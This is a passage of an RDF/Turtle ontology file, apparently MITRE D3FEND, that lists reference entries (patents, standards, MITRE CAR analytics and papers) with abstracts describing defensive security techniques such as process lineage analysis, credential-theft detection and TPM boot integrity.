    d3f:kb-author "Matthew Cruz Elder, Darrell Martin Kienzle, Pratyusa K. Manadhata, Ryan Kumar Persaud" ;
    d3f:kb-organization "CA Inc" ;
    d3f:kb-reference-of d3f:AssetVulnerabilityEnumeration ;
    d3f:kb-reference-title "System and method for vulnerability risk analysis" .

d3f:Reference-SystemAndMethodsThereofForCausalityIdentificationAndAttributionsDeterminationOfProcessesInANetwork_PaloAltoNetworksIncCyberSecdoLtd a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - System and methods thereof for causality identification and attributions determination of processes in a network - Palo Alto Networks IncCyber Secdo Ltd" ;
    d3f:has-link "https://patents.google.com/patent/US20170195350A1/en?oq=US-2017195350-A1"^^xsd:anyURI ;
    d3f:kb-abstract "A system is used for detection of advanced persistent and non-persistent threats in a computerized environment. The system is connected to a plurality of user devices coupled to an enterprise's network. The system receives via an interface an electronic notification of at least one event in the operating system of the computer. The system then analyzes the at least one event. The system then generates a causality chain for the at least one event respective of the analysis. The causality chain comprises all the threads that attributed to the at least one event in a chronological order. The system then identifies a main thread that started the causality chain that led to the at least one event. Then, the system determines whether the main thread is associated with malicious software. Upon determination that the main thread is associated with malicious software, the causality chain is marked as infected." ;
    d3f:kb-author "Gil BARAK" ;
    d3f:kb-mitre-analysis "This patent describes detecting malicious processes on a host. Agents are deployed on hosts that monitor all initiated processes and determine whether a process was initiated at boot or initiated by another process. If not initiated at boot or by another process, the process is identified as suspicious and an alert is triggered." ;
    d3f:kb-organization "Palo Alto Networks IncCyber Secdo Ltd" ;
    d3f:kb-reference-of d3f:ProcessLineageAnalysis ;
    d3f:kb-reference-title "System and methods thereof for causality identification and attributions determination of processes in a network" .

d3f:Reference-SystemAndMethodsThereofForIdentificationOfSuspiciousSystemProcesses_PaloAltoNetworksInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - System and methods thereof for identification of suspicious system processes - Palo Alto Networks Inc" ;
    d3f:has-link "https://patents.google.com/patent/US20170286683A1/en?oq=US-2017286683-A1"^^xsd:anyURI ;
    d3f:kb-abstract "A computerized method for identification of suspicious processes executing on an end-point device communicatively connected to network, the network communicatively connected to a server, the method comprising receiving, by the server, a record of at least one process, initiated by and executing on by the end-point device. One or more parameters associated with the at least one process are identified. A first time pointer is identified corresponding to the identified one or more parameters, a first time pointer. A second time pointer at which a user associated with the end-point device initiated a user dependent process is identified. Whether the second time pointer occurred before the first time pointer is identified. It is determined whether the at least one process was initiated by the user based on identification of user dependent processes and corresponding attribution. An action is performed based on the above determination." ;
    d3f:kb-author "Gil BARAK" ;
    d3f:kb-mitre-analysis "The patent describes detecting malicious processes by identifying the order of process initiation. The start of a user initiated process (user query, opening an application, etc.) is compared with the start of processes initiated by the device (ex. during boot). In addition, a determination is made on whether processes are not initiated by a user by examining process parameters such as type of process, its creator, source, etc. If it is determined that a user initiated process was started before a process initiated by the device and a process was not initiated by the user, the process is marked as suspicious." ;
    d3f:kb-organization "Palo Alto Networks Inc" ;
    d3f:kb-reference-of d3f:ProcessLineageAnalysis ;
    d3f:kb-reference-title "System and methods thereof for identification of suspicious system processes" .

d3f:Reference-SystemAndMethodsThereofForLogicalIdentificationOfMaliciousThreatsAcrossAPluralityOfEnd-pointDevicesCommunicativelyConnectedByANetwork_PaloAltoNetworksIncCyberSecdoLtd a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - System and methods thereof for logical identification of malicious threats across a plurality of end-point devices (epd) communicatively connected by a network - Palo Alto Networks IncCyber Secdo Ltd" ;
    d3f:has-link "https://patents.google.com/patent/US20180373870A1/en?oq=US-2018373870-A1"^^xsd:anyURI ;
    d3f:kb-abstract "A computerized method for logical identification of malicious threats across a plurality of end-point devices (EPD) communicatively connected by a network, comprising collecting over the network an identifier associated with each file of a plurality of files, wherein each file of the plurality of files is installed on at least one of the plurality of EPDs and wherein the identifier is the same for each like file of the plurality of file. Information associated with an identified subset of files is collected, wherein the information indicates at least a time at which the at least one file was installed on one or more of the plurality of EPDs and the way the at least one file spread within the network. The collected information is analyzed according to a set of predetermined computerized investigation rules. The analysis is used to determine whether at least a file of the identified subset files is a suspicious file." ;
    d3f:kb-author "Gil BARAK" ;
    d3f:kb-mitre-analysis "This patent describes detecting suspicious files using file metadata such as the prevalence of the file deployed on the network, file installation times, and how the file was spread within the network. The combination of these factors are used to determine a risk score of the file and if below a threshold, sends an alert." ;
    d3f:kb-organization "Palo Alto Networks IncCyber Secdo Ltd" ;
    d3f:kb-reference-of d3f:FileContentRules ;
    d3f:kb-reference-title "System and methods thereof for logical identification of malicious threats across a plurality of end-point devices (epd) communicatively connected by a network" .

d3f:Reference-SystemAndMethodsThereofForPreventingRansomwareFromEncryptingDataElementsStoredInAMemoryOfAComputer-basedSystem_PaloAltoNetworksInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - System and methods thereof for preventing ransomware from encrypting data elements stored in a memory of a computer-based system - Palo Alto Networks Inc" ;
    d3f:has-link "https://patents.google.com/patent/US20170308711A1/en?oq=US-2017308711-A1"^^xsd:anyURI ;
    d3f:kb-abstract "A computerized method for preventing ransomware from encrypting data elements stored in a memory of a computer-based system, the method comprising identifying at least one identifier for a data element, wherein the at least one identifier indicates at least a position of the data element within the memory. An optimal number of virtual traps is determined for the data element corresponding to the at least one identifier. An optimal position for each of the virtual traps is determined corresponding to the at least one identifier. The virtual traps are send to the determined optimal position within the memory." ;
    d3f:kb-author "Gil BARAK" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "Palo Alto Networks Inc" ;
    d3f:kb-reference-of d3f:DecoyFile ;
    d3f:kb-reference-title "System and methods thereof for preventing ransomware from encrypting data elements stored in a memory of a computer-based system" .

d3f:Reference-SystemForDetectingThreatsUsingScenario-basedTrackingOfInternalAndExternalNetworkTraffic_VECTRANETWORKSInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - System for detecting threats using scenario-based tracking of internal and external network traffic - VECTRA NETWORKS Inc" ;
    d3f:has-link "https://patents.google.com/patent/US20160191563A1"^^xsd:anyURI ;
    d3f:kb-abstract "Disclosed is an improved approach to implement a system and method for detecting insider threats, where models are constructed that is capable of defining what constitutes the normal behavior for any given hosts and quickly find anomalous behaviors that could constitute a potential threat to an organization. The disclosed approach provides a way to identify abnormal data transfers within and external to an organization without the need for individual monitoring software on each host, by leveraging metadata that describe the data exchange patterns observed in the network." ;
    d3f:kb-author "Nicolas BEAUCHESNE; David Lopes Pegna" ;
    d3f:kb-mitre-analysis """Determination of anomalous data transfers is performed over a given time period. For example, a check of a pull vs. push data ratio can be established over a specific time period, e.g., over a three-hour period, over a one day period, over a one week period, etc.

The system can also establish a baseline behavior for data exchange for each host in terms of pull vs. push data ratio for each resource contacted by the host.

Network packet capture data is collected and metadata is extracted. Aggregate data push/pull information from the metadata is then analyzed for a given host versus specific client to server relationships. This technique can potentially catch lateral data transfers, and may have filtering on alerting logic to only raise alarms when external hosts receive large data transfers.""" ;
    d3f:kb-organization "VECTRA NETWORKS Inc" ;
    d3f:kb-reference-of d3f:PerHostDownload-UploadRatioAnalysis ;
    d3f:kb-reference-title "System for detecting threats using scenario-based tracking of internal and external network traffic" .

d3f:Reference-SystemForImplementingThreatDetectionUsingThreatAndRiskAssessmentOfAsset-actorInteractions_VECTRANETWORKSInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - System for implementing threat detection using threat and risk assessment of asset-actor interactions - VECTRA NETWORKS Inc" ;
    d3f:has-link "https://patents.google.com/patent/US20160191559A1"^^xsd:anyURI ;
    d3f:kb-abstract "Disclosed is an approach to detect insider threats, by tracking unusual access activity for a specific user or computer with regard to accessing key assets over time. In this way, malicious activity and the different preparation phases of attacks can be identified." ;
    d3f:kb-author "Himanshu Mhatre; David Lopes Pegna; Oliver Brdiczka" ;
    d3f:kb-mitre-analysis "The patent describes an insider threat detection system that analyzes packets sent within a network to identify and isolate malicious behavior. Current network traffic is collected and developed into a baseline that establishes the amount of data sent and received between a specific asset and a host. Current data transfer values are then compared with the baseline to identify anomalies." ;
    d3f:kb-organization "VECTRA NETWORKS Inc" ;
    d3f:kb-reference-of d3f:UserDataTransferAnalysis ;
    d3f:kb-reference-title "System for implementing threat detection using threat and risk assessment of asset-actor interactions" .

d3f:Reference-SystemsAndMethodsForDetectingCredentialTheft_SymantecCorp a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Systems and methods for detecting credential theft - Symantec Corp" ;
    d3f:has-link "https://patents.google.com/patent/US10162962B1"^^xsd:anyURI ;
    d3f:kb-abstract "The disclosed computer-implemented method for detecting credential theft may include (i) monitoring a secured computing system's credential store that may include at least one sensitive credential that may be used to facilitate authentication of a user that is attempting to access the secured computing system, (ii) gathering, while monitoring the credential store, primary evidence of an attempted theft of the sensitive credential from the credential store, (iii) gathering corroborating evidence of the attempted theft of the sensitive credential, and (iv) performing a security action in response to gathering the primary evidence and the corroborating evidence of the attempted theft. The primary evidence of the attempted theft of the sensitive credential may include evidence of any suspicious access of the sensitive credential from the credential store that occurs outside of a procedure of authenticating the user. Various other methods, systems, and computer-readable media are also disclosed." ;
    d3f:kb-author "Adam Glick; Brian Schlatter; Feng Li; Akshata Krishnamoorthy Rao" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "Symantec Corp" ;
    d3f:kb-reference-of d3f:CredentialCompromiseScopeAnalysis ;
    d3f:kb-reference-title "Systems and methods for detecting credential theft" .

d3f:Reference-TCGTrustedAttestationProtocolUseCasesForTPMFamilies1.2And2.0AndDICE a d3f:SpecificationReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - TCG Trusted Attestation Protocol Use Cases for TPM Families 1.2 and 2.0 and DICE" ;
    d3f:has-link "https://trustedcomputinggroup.org/wp-content/uploads/TCG_TNC_TAP_Use_Cases_v1r0p35_published.pdf"^^xsd:anyURI ;
    d3f:kb-reference-title "TCG Trusted Attestation Protocol Use Cases for TPM Families 1.2 and 2.0 and DICE" .

<http://d3fend.mitre.org/ontologies/d3fend.owl#Reference-TPM2.0LibrarySpecification_TrustedComputingGroup,Incorporated> a d3f:SpecificationReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - TPM 2.0 Library Specification - Trusted Computing Group, Incorporated" ;
    d3f:has-link "https://trustedcomputinggroup.org/resource/tpm-library-specification/"^^xsd:anyURI ;
    d3f:kb-abstract """This specification defines the Trusted Platform Module (TPM) a device that enables trust in computing
platforms in general. It is broken into parts to make the role of each part clear. All parts are required in
order to constitute a complete standard. For a complete definition of all requirements necessary to build a TPM, the designer will need to use the appropriate platform-specific specification to understand all of the requirements for a TPM in a specific application or make appropriate choices as an implementer. Those wishing to create a TPM need to be aware that this specification does not provide a complete picture of the options and commands necessary to implement a TPM. To implement a TPM the designer needs to refer to the relevant platform-specific specification to understand the options and settings required for a TPM in a specific type of platform or make appropriate choices as an implementer.""" ;
    d3f:kb-author "Trusted Computing Group" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "Trusted Computing Group, Incorporated" ;
    d3f:kb-reference-of d3f:TPMBootIntegrity ;
    d3f:kb-reference-title "TPM 2.0 Library Specification" .

d3f:Reference-TamperProofMutatingSoftware_ARXANTECHNOLOGIESInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Tamper proof mutating software - ARXAN TECHNOLOGIES Inc" ;
    d3f:has-link "https://patents.google.com/patent/US9262600B2/en?oq=US9262600B2"^^xsd:anyURI ;
    d3f:kb-abstract "System and method is disclosed for protecting client software running on a client computer from tampering using a secure server. Prior to or independent of executing the client software, the system integrates self-protection into the client software; removes functions from the client software for execution on the server; develops client software self-protection updates; and periodically distributes the updates. During execution of the client software, the system receives an initial request from the client computer for execution of the removed function; verifies the initial request; and cooperates with the client computer in execution of the client software if verification is successful. If verification is unsuccessful, the system can attempt to update the client software on the client computer; and require a new initial request. Client software can be updated on occurrence of a triggering event. Communications can be encrypted, and the encryption updated. Authenticating checksums can be used for verification." ;
    d3f:kb-author "Kevin Dale Morgan" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "ARXAN TECHNOLOGIES Inc" ;
    d3f:kb-reference-of d3f:ProcessCodeSegmentVerification ;
    d3f:kb-reference-title "Tamper proof mutating software" .

d3f:Reference-Technical_Specifications_for_Construction_and_Management_of_Sensitive_Compartmented_Information_Facilities a d3f:SpecificationReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Technical Specifications for Construction and Management of Sensitive Compartmented Information Facilities" ;
    d3f:has-link "https://www.dni.gov/files/Governance/IC-Tech-Specs-for-Const-and-Mgmt-of-SCIFs-v15.pdf"^^xsd:anyURI ;
    d3f:kb-author "National Counterintelligence and Security Center" ;
    d3f:kb-reference-of d3f:RFShielding ;
    d3f:kb-reference-title "Technical Specifications for Construction and Management of Sensitive Compartmented Information Facilities" .

d3f:Reference-TenablePassiveNetworkMonitoring a d3f:InternetArticleReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Tenable Passive Network Monitoring" ;
    d3f:has-link "https://www.tenable.com/sites/default/files/solution-briefs/SB-Passive-Network-Monitoring.pdf"^^xsd:anyURI ;
    d3f:kb-abstract "Tenable Nessus® Network Monitor (NNM), a passive monitoring sensor, continuously discovers active assets on the network and assesses them for vulnerabilities. NNM is based on patented network discovery and vulnerability analysis technology that continuously monitors and profiles non-intrusively. It monitors IPv4, IPv6 and mixed network traffic at the packet layer to determine topology, services and vulnerabilities." ;
    d3f:kb-organization "Tenable" ;
    d3f:kb-reference-of d3f:DirectPhysicalLinkMapping,
        d3f:PassiveLogicalLinkMapping ;
    d3f:kb-reference-title "Tenable Passive Network Monitoring" .

d3f:Reference-Testing_Metrics_for_Password_Creation_Policies_by_Attacking_Large_Sets_of_Revealed_Passwords a d3f:AcademicPaperReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Testing Metrics for Password Creation Policies by Attacking Large Sets of Revealed Passwords" ;
    d3f:has-link "https://www.cs.umd.edu/~jkatz/security/downloads/passwords_revealed-weir.pdf"^^xsd:anyURI ;
    d3f:kb-author "Matt Weir, Sudhir Aggarwal, Michael Collins, Henry Stern" ;
    d3f:kb-reference-of d3f:StrongPasswordPolicy ;
    d3f:kb-reference-title "Testing Metrics for Password Creation Policies by Attacking Large Sets of Revealed Passwords" .

d3f:Reference-ThePyramidOfPain-DavidBianco a d3f:InternetArticleReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - The Pyramid of Pain - David Bianco" ;
    d3f:has-link "http://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html"^^xsd:anyURI ;
    d3f:kb-abstract "This article identifies progressive levels of adversary difficulty encountered for various types of indicators." ;
    d3f:kb-author "David Bianco" ;
    d3f:kb-reference-of d3f:IdentifierActivityAnalysis ;
    d3f:kb-reference-title "The Pyramid of Pain" .

d3f:Reference-ThreatDetectionForReturnOrientedProgramming_CrowdstrikeInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Threat detection for return oriented programming - Crowdstrike Inc" ;
    d3f:has-link "https://patents.google.com/patent/US20140075556A1"^^xsd:anyURI ;
    d3f:kb-abstract "This disclosure describes, in part, techniques for detecting security exploits associated with return-oriented programming. The techniques include determining that a retrieved count is indicative of malicious activity, such as return oriented programming. The count may be retrieved from a processor performance counter of prediction mismatches, the prediction mismatches resulting from comparisons of a call stack of a computing device and of a shadow call stack maintained by a processor of the computing device. The techniques further include performing at least one security response action in response to determining that the count indicates malicious activity." ;
    d3f:kb-author "Georg WICHERSKI" ;
    d3f:kb-mitre-analysis "This patent describes a technique for detecting shellcode security exploits. A call stack of a computing device is compared with a shadow call stack maintained by a processor of the computing device since a return oriented program may only be able to control or spoof the call stack and not the shadow call stack. Mismatches between the two are counted and if the number of mismatches exceeds a certain threshold it is an indication of malicious activity and a security response action is performed." ;
    d3f:kb-organization "Crowdstrike Inc" ;
    d3f:kb-reference-of d3f:ShadowStackComparisons ;
    d3f:kb-reference-title "Threat detection for return oriented programming" .

d3f:Reference-ThreatDetectionThroughTheAccumulatedDetectionOfThreatCharacteristics_SophosLtd a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Threat detection through the accumulated detection of threat characteristics - Sophos Ltd" ;
    d3f:has-link "https://patents.google.com/patent/US9104864B2/en?oq=US-9104864-B2"^^xsd:anyURI ;
    d3f:kb-abstract "Embodiments of the present disclosure provide for improved capabilities in the detection of malware, where malware threats are detected through the accumulated identification of threat characteristics for targeted computer objects. Methods and systems include dynamic threat detection providing a first database that correlates a plurality of threat characteristics to a threat, wherein a presence of the plurality of the threat characteristics confirms a presence of the threat; detecting a change event in a computer run-time process; testing the change event for a presence of one or more of the plurality of characteristics upon detection of the change event; storing a detection of one of the plurality of characteristics in a second database that accumulates detected characteristics for the computer run-time process; and identifying the threat when each one of the plurality of characteristics appears in the second database." ;
    d3f:kb-author "Clifford Penton; Irene Michlin" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "Sophos Ltd" ;
    d3f:kb-reference-of d3f:ProcessCodeSegmentVerification ;
    d3f:kb-reference-title "Threat detection through the accumulated detection of threat characteristics" .

d3f:Reference-TokenlessBiometricTransactionAuthorizationMethodAndSystem a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Tokenless biometric transaction authorization method and system" ;
    d3f:has-link "https://patents.google.com/patent/US5870723A/"^^xsd:anyURI ;
    d3f:kb-abstract "A method and system for tokenless authorization of commercial transactions between a buyer and a seller using a computer system. A transaction is proposed by a seller, and the buyer signals his acceptance by entering his personal authentication information comprising a PIN and at least one biometric sample, forming a commercial transaction message. The commercial transaction message is forwarded to the computer system, where the computer system compares the personal authentication information in the commercial transaction message with previously registered buyer biometric samples. If the computer system successfully identifies the buyer, a financial account of the buyer is debited and a financial account of the seller is credited, and the results of the transaction are presented to both buyer and seller. As a result of the invention, a buyer can conduct commercial transactions without having to use any tokens such as portable man-made memory devices such as smartcards or swipe cards. The invention allows buyers to quickly select one of a group of different financial accounts from which to transfer funds. The invention further indicates to the user that the authentic computer system was accessed by the use of a private code that is returned to the buyer after the identification is complete. The invention additionally permits an authorized buyer to alert authorities in the event of an emergency, such as when a transaction is coerced." ;
    d3f:kb-organization "SmartTouch Inc" ;
    d3f:kb-reference-of d3f:BiometricAuthentication ;
    d3f:kb-reference-title "Tokenless biometric transaction authorization method and system" .

d3f:Reference-Tripwire a d3f:UserManualReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Tripwire" ;
    d3f:has-link "https://linux.die.net/man/8/tripwire"^^xsd:anyURI ;
    d3f:kb-reference-of d3f:FileIntegrityMonitoring ;
    d3f:kb-reference-title "Reference - Tripwire" .

d3f:Reference-TrustedAttestationProtocolUseCases a d3f:SpecificationReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Trusted Attestation Protocol Use Cases" ;
    d3f:has-link "https://trustedcomputinggroup.org/wp-content/uploads/TCG_TNC_TAP_Use_Cases_v1r0p35_published.pdf"^^xsd:anyURI ;
    d3f:kb-article """## Document Abstract
This specification defines the Trusted Platform Module (TPM) a device that enables trust in computing platforms in general. It is broken into parts to make the role of each part clear. All parts are required in order to constitute a complete standard. For a complete definition of all requirements necessary to build a TPM, the designer will need to use the appropriate platform-specific specification to understand all of the requirements for a TPM in a specific application or make appropriate choices as an implementer. Those wishing to create a TPM need to be aware that this specification does not provide a complete picture of the options and commands necessary to implement a TPM. To implement a TPM the designer needs to refer to the relevant platform-specific specification to understand the options and settings required for a TPM in a specific type of platform or make appropriate choices as an implementer.""" ;
    d3f:kb-reference-title "Trusted Attestation Protocol Use Cases" .

d3f:Reference-TypeSystems_Princeton a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - Type Systems" ;
    d3f:has-link "https://www.cs.princeton.edu/courses/archive/fall98/cs441/mainus/node4.html"^^xsd:anyURI ;
    d3f:kb-organization "Princeton University" ;
    d3f:kb-reference-of d3f:VariableTypeValidation ;
    d3f:kb-reference-title "Why type checking?" .

d3f:Reference-UACBypass_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2019-04-001: UAC Bypass - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2019-04-001/"^^xsd:anyURI ;
    d3f:kb-abstract "Bypassing user account control (UAC Bypass) is generally done by piggybacking on a system process that has auto-escalate privileges. This analytic looks to detect those cases as described by the open-source UACME tool." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:ProcessLineageAnalysis ;
    d3f:kb-reference-title "CAR-2019-04-001: UAC Bypass" .

d3f:Reference-UEFIPlatformInitialization-Specification a d3f:SpecificationReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - UEFI Platform Initialization (PI) Specification" ;
    d3f:has-link "https://uefi.org/sites/default/files/resources/PI_Spec_1_7_A_final_May1.pdf"^^xsd:anyURI ;
    d3f:kb-reference-of d3f:BootloaderAuthentication ;
    d3f:kb-reference-title "UEFI Platform Initialization (PI) Specification" .

d3f:Reference-USBFilterForHubMaliciousCodePreventionSystem a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - USB filter for hub malicious code prevention system" ;
    d3f:has-link "https://patents.google.com/patent/US9990325B2/en"^^xsd:anyURI ;
    d3f:kb-abstract "The present invention relates generally to computer systems, and more specifically, to a universal serial bus (USB) filter hub for a computer system." ;
    d3f:kb-author "Steven R Hetzler, Daniel F Smith" ;
    d3f:kb-organization "International Business Machines Corp" ;
    d3f:kb-reference-of d3f:IOPortRestriction ;
    d3f:kb-reference-title "Universal serial bus (USB) filter hub malicious code prevention system" .

d3f:Reference-UnderstandingtheDomainRegistrationBehaviorofSpammers a d3f:AcademicPaperReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Understanding the Domain Registration Behavior of Spammers" ;
    d3f:has-link "https://citeseerx.ist.psu.edu/document?repid=rep1&type=pdf&doi=bf4d34a6f9d0168bb07433e84c1567bbe1ba8188"^^xsd:anyURI ;
    d3f:kb-abstract "Spammers register a tremendous number of domains to evade blacklisting and takedown efforts. Current techniques to detect such domains rely on crawling spam URLs or monitoring lookup traffic. Such detection techniques are only effective after the spammers have already launched their campaigns, and thus these countermeasures may only come into play after the spammer has already reaped significant benefits from the dissemination of large volumes of spam. In this paper we examine the registration process of such domains, with a particular eye towards features that might indicate that a given domain likely has a malicious purpose at registration time, before it is ever used for an attack. Our assessment includes exploring the characteristics of registrars, domain life cycles, registration bursts, and naming patterns. By investigating zone changes from the .com TLD over a 5-month period, we discover that spammers employ bulk registration, that they often re-use domains previously registered by others, and that they tend to register and host their domains over a small set of registrars. Our findings suggest steps that registries or registrars could use to frustrate the efforts of miscreants to acquire domains in bulk, ultimately reducing their agility for mounting large-scale attacks." ;
    d3f:kb-author "Hao S, Thomas M, Paxson V, Feamster N, Kreibich C, Grier C, Hollenbeck S" ;
    d3f:kb-reference-of d3f:DomainRegistrationTakedown ;
    d3f:kb-reference-title "Understanding the Domain Registration Behavior of Spammers" .

d3f:Reference-UseOfAnApplicationControllerToMonitorAndControlSoftwareFileAndApplicationEnvironments_SophosLtd a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Use of an application controller to monitor and control software file and application environments - Sophos Ltd" ;
    d3f:has-link "https://patents.google.com/patent/US20180032727A1"^^xsd:anyURI ;
    d3f:kb-abstract "In embodiments of the present invention, a framework for an extensible, file-based security system is described for determining an appropriate application, application environment, and/or access or security control measure based at least in part on a file's reputation. In response to the selection of a file, an application controller may be used to select a software application from two or more software applications to open the selected file, based at least in part on the selected file's reputation. If launched, a software application may be configured to open the file in an environment, such as a virtual machine, quarantined environment, and the like, that is appropriate for the file based at least in part on the reputation information. A software application may be a secure software application configured to manage secure files, or an insecure software application configured to manage insecure files. The selected file, and communications relating to the selected software application, may be managed according to the selected software application's secure or insecure configuration. Further, the selected software application may associate reputation information with all files that are modified and/or created by the selected software application, including at least in part, reputation information matching that of the selected file." ;
    d3f:kb-author "Andrew J. Thomas" ;
    d3f:kb-mitre-analysis "This patent describes received files being open in an environment such as a virtual machine or quarantined environment to associate file reputation information that determines if a file is a threat." ;
    d3f:kb-organization "Sophos Ltd" ;
    d3f:kb-reference-of d3f:DynamicAnalysis ;
    d3f:kb-reference-title "Use of an application controller to monitor and control software file and application environments" .

d3f:Reference-UserActivityFromStoppingWindowsDefensiveServices_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2016-04-003: User Activity from Stopping Windows Defensive Services - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2016-04-003/"^^xsd:anyURI ;
    d3f:kb-abstract "Spyware and malware remain a serious problem and Microsoft developed security services, Windows Defender and Windows Firewall, to combat this threat. In the event Windows Defender or Windows Firewall is turned off, administrators should correct the issue immediately to prevent the possibility of infection or further infection and investigate to determine if caused by crash or user manipulation." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:SystemDaemonMonitoring ;
    d3f:kb-reference-title "CAR-2016-04-003: User Activity from Stopping Windows Defensive Services" .

d3f:Reference-UserLoginActivityMonitoring_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2013-10-001: User Login Activity Monitoring - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2013-10-001/"^^xsd:anyURI ;
    d3f:kb-abstract """Monitoring logon and logoff events for hosts on the network is very important for situational awareness. This information can be used as an indicator of unusual activity as well as to corroborate activity seen elsewhere.

Could be applied to a number of different types of monitoring depending on what information is desired. Some use cases include monitoring for all remote connections and building login timelines for users. Logon events are Windows Event Code 4624 for Windows Vista and above, 518 for pre-Vista. Logoff events are 4634 for Windows Vista and above, 538 for pre-Vista.""" ;
    d3f:kb-author "MITRE" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:AuthenticationEventThresholding ;
    d3f:kb-reference-title "CAR-2013-10-001: User Login Activity Monitoring" .

d3f:Reference-UsingSpanningTreeProtocolSTPToEnhanceLayer2NetworkTopologyMaps a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Using spanning tree protocol (STP) to enhance layer-2 topology maps" ;
    d3f:has-link "https://patents.google.com/patent/US8045488B2"^^xsd:anyURI ;
    d3f:kb-abstract "Spanning Tree Protocol (STP) data is obtained via network switch (SNMP) queries to enhance identification of switch-to-switch links in Layer-2 mapping. In particular, by analyzing the STP data, ambiguity in determining switch uplink ports may be reduced. Specifically, the STP data can be used in conjunction with other topography data to provide Layer-2 connectivity for nodes on a network topology. Layer-2 address mapping tables are collected from a topology mapping, and STP data is collected, along with address translation tables (ARP) tables. Using this information, switches are identified using Layer-2 address tables. The STP data can be correlated by comparing data in switches, identifying switch ports directly connected to other switch ports, and eliminating direct switch-to-switch port connections from consideration for further Layer-2 node mappings." ;
    d3f:kb-author "Michael Jon Swan" ;
    d3f:kb-organization "SolarWinds Worldwide LLC" ;
    d3f:kb-reference-of d3f:ActivePhysicalLinkMapping ;
    d3f:kb-reference-title "Using spanning tree protocol (STP) to enhance layer-2 topology maps" .

d3f:Reference-VariableInitialization_CWE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - Variable Initialization - CWE-457" ;
    d3f:has-link "https://cwe.mitre.org/data/definitions/457.html"^^xsd:anyURI ;
    d3f:kb-author "MITRE" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:VariableInitialization ;
    d3f:kb-reference-title "CWE-457: Use of Uninitialized Variable" .

d3f:Reference-VirtualizedProcessIsolation_AdvancedMicroDevicesInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Virtualized process isolation - Advanced Micro Devices Inc" ;
    d3f:has-link "https://patents.google.com/patent/US20180081829A1"^^xsd:anyURI ;
    d3f:kb-abstract "Systems, apparatuses, and methods for implementing virtualized process isolation are disclosed. A system includes a kernel and multiple guest VMs executing on the system's processing hardware. Each guest VM includes a vShim layer for managing kernel accesses to user space and guest accesses to kernel space. The vShim layer also maintains a separate set of page tables from the kernel page tables. In one embodiment, data in the user space is encrypted and the kernel goes through the vShim layer to access user space data. When the kernel attempts to access a user space address, the kernel exits and the vShim layer is launched to process the request. If the kernel has permission to access the address, the vShim layer copies the data to a region in kernel space and then returns execution to the kernel." ;
    d3f:kb-author "David A. Kaplan" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "Advanced Micro Devices Inc" ;
    d3f:kb-reference-of d3f:Hardware-basedProcessIsolation ;
    d3f:kb-reference-title "Virtualized process isolation" .

d3f:Reference-WebAuthentication_AnAPIForAccessingPublicKeyCredentialsLevel2 a d3f:SpecificationReference,
        owl:NamedIndividual ;
    rdfs:label """Reference - Web Authentication: An API for accessing Public Key Credentials
Level 2""" ;
    d3f:has-link "https://www.w3.org/TR/webauthn-2/"^^xsd:anyURI ;
    d3f:kb-abstract "This specification defines an API enabling the creation and use of strong, attested, scoped, public key-based credentials by web applications, for the purpose of strongly authenticating users. Conceptually, one or more public key credentials, each scoped to a given WebAuthn Relying Party, are created by and bound to authenticators as requested by the web application. The user agent mediates access to authenticators and their public key credentials in order to preserve user privacy. Authenticators are responsible for ensuring that no operation is performed without user consent. Authenticators provide cryptographic proof of their properties to Relying Parties via attestation. This specification also describes the functional model for WebAuthn conformant authenticators, including their signature and attestation functionality." ;
    d3f:kb-author "W3C" ;
